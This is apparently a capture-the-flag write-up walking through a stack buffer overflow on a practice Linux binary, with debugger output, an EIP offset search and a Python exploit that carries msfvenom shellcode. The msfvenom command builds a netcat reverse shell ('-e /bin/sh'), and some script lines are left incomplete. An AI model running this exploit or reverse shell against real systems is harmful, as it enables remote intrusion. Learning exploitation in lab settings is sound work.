Your Ultimate Guide to Buffer Overflow with Debugging and Shellcode

Buffer overflow

Buffer overflow is a method used to make an application crash or provide input exceeding the stack memory storage limit used in processing an application. This time I will make a writeup of working on linux applications from the xcode community. If you are interested in joining, you can click this discord link .

First, I have downloaded the application, then I will give the execute permission so that I can run the application as below.

$ chmod +x vulnerableapp2

After that I will try to run as usual, running binary applications on Linux.

running binary applications on Linux

It turns out to have an error with wrong segmentation, then I will try to give a basic input of 4 bytes, namely "AAAA", as below:

$ ./vulnerableapp2 AAAA

The result of this is that the application can run normally and does not get an error alert like at the beginning. Ok, now we will give input that exceeds the memory storage limit used by the application.

input the exceeds the memory storage limit used by the application

It can be seen that our input succeeded in making the application over or crash, here I use the python script input by giving 800 bytes of the letter A character, here is the source command:

$ ./vulnerableapp2 `python -c 'print "A" * 800'` 

I have gotten info that 800 bytes of input can cause the application to crash, now let's test using debugging, here I use pwndbg if you don't have it or have trouble installing it, you can check my previous post.


We have entered the debugger and we will focus here on seeing changes to the Extended Stack Pointer (ESP), Extended Base Pointer (EBP), Extended Instruction pointer (EIP) registers.

Please note that each register function that we use refers to the running of our exploit later, such as:

  • Extended Stack Pointer(ESP) we will see a pointer or data stack pointer stored in memory that is used to process the application..
  • Extended Base Pointer(EBP) here we will see the memory address that shows the location of the parameters of a function and also variables in a running program.
  • Extended Instruction pointer(EIP) in used as a pointer that will indicate to the cpu the memory location that stores the next command that will be executed by the CPU.

Now we will try to retest by running a python script in the debugger which will give input of 800 bytes.

python script in the debugger

We can see that EIP has been overwritten with 4 bytes of the character "AAAA", please note that this EIP stores the location of the next command that will be executed by the cpu, because the eip memory location is overwritten by the stack over our application will crash because the memory location 0x41414141 does not exist. While ESP itself shows the stack data that we input of 800 bytes and EBP we can see has the same hex as EIP, because this EBP has the function of storing resgister memory to the stack frame where EBP is used to run the process for the first time before being copied to the ESP process.

We will continue by looking for the offset value at which the overflow occurs in this application or looking for the specific input value that causes the taret application crash, here we can use the following command function in debgguber.


pwndbg> run `msf-pattern_create -l 800`
Starting program: /home/dig/CTF/soal2Excode/vulnerableapp2 `msf-pattern_create -l 800`

from the following results will produce consecutive characters that total 800 bytes.

produce consecutive

We will continue to find the offset or center value that overwrites the EIP, here I use the command:

pwndbg> info registers eip
eip 0x35784134 0x35784134
pwndbg> exit
Undefined command: "exit". Try "help".
zsh: suspended pwngdb ./vulnerableapp2

└─# msf-pattern_offset -q 0x35784134 148 ⨯ 1 ⚙
[*] Exact match at offset 704

We can see that we need 704 bytes for fuzzing to crash the application. Now we will create the exploit with the script below:


import struct

fuzz = "A" * 704
eip = struct.pack("<I", ini diisi dengan registry call esp pada aplikasi)
nop = "\x90" * 8

First we make the simple script consist:
  • import struct and the variable eip is filled with struct.pack which is used to read our text format to match the architecture format at the memory address using little endian.
  • then in nop this is the no operation variable, which we will set with 8 bytes "\x90" will be filled in.
To fill the call esp in struct.pack we will look for it in the debugger with the command:

pwndbg> ropgadget --grep "call esp"
Saved corefile /tmp/tmp7twt6z73
0xffffc4eb : call esp

Now we add it into the previous script:


import struct

fuzz = "A" * 704
eip = struct.pack("<I",
nop = "\x90" * 8

Then we continue to create the payload using msfvenom:

$ msfvenom -a x86 --platform linux -p linux/x86/exec CMD="nc 4444 -e /bin/sh" LHOST= LPORT=4444 -b "\x20\x0a\x0d\x00\x3f" -f python -v shellcode 

Make sure the source code looks like this:

import struct

fuzz = "A" * 704
eip = struct.pack("<I",
nop = "\x90" * 8
shellcode = b""
shellcode += b"\xb8\xa7\x29\xb5\x66\xdb\xcb\xd9\x74\x24\xf4"
shellcode += b"\x5a\x31\xc9\xb1\x11\x31\x42\x14\x83\xc2\x04"
shellcode += b"\x03\x42\x10\x45\xdc\xdf\x6d\xd1\x86\x72\x14"
shellcode += b"\x89\x95\x11\x51\xae\x8e\xfa\x12\x58\x4f\x6d"
shellcode += b"\xfa\xfa\x26\x03\x8d\x19\xea\x33\x92\xdd\x0b"
shellcode += b"\xc4\xc3\xbe\x2b\xf5\x22\x72\x02\xc4\x62\x4a"
shellcode += b"\x74\x17\xa5\x9c\xa8\x63\x8d\xd4\x9c\xab\xc0"
shellcode += b"\x71\xfd\x84\x78\x10\x93\xf5\x0f\x8a\x6b\x5d"
shellcode += b"\xa3\xc3\x8d\xac\xc3"

print fuzz + eip + nop + shellcode
For additions to the msfvenom command, what I marked red are bad characters that must be avoided in creating payloads, because some characters cannot be run by the CPU. How to find these bad characters, we only need to run our script in the application and debug, with the command:

pwndbg> ropgadget --grep "call esp"
Saved corefile
0xffffc4eb : call esp
pwndbg> break *
Breakpoint 1 at
pwndbg> run `python`

After this we continue with the command:

pwndbg> x/100x $esp
pwndbg> x/100bx $esp

It will appear like this, then we will match the shellcode with the hex shellcode in stack memory.


Make sure the shellcode is under nop or after nop, to ensure the payload runs after the EIP provides the memory address that will be executed next by the CPU. If so, we continue to run the exploit, if successful it will look like below: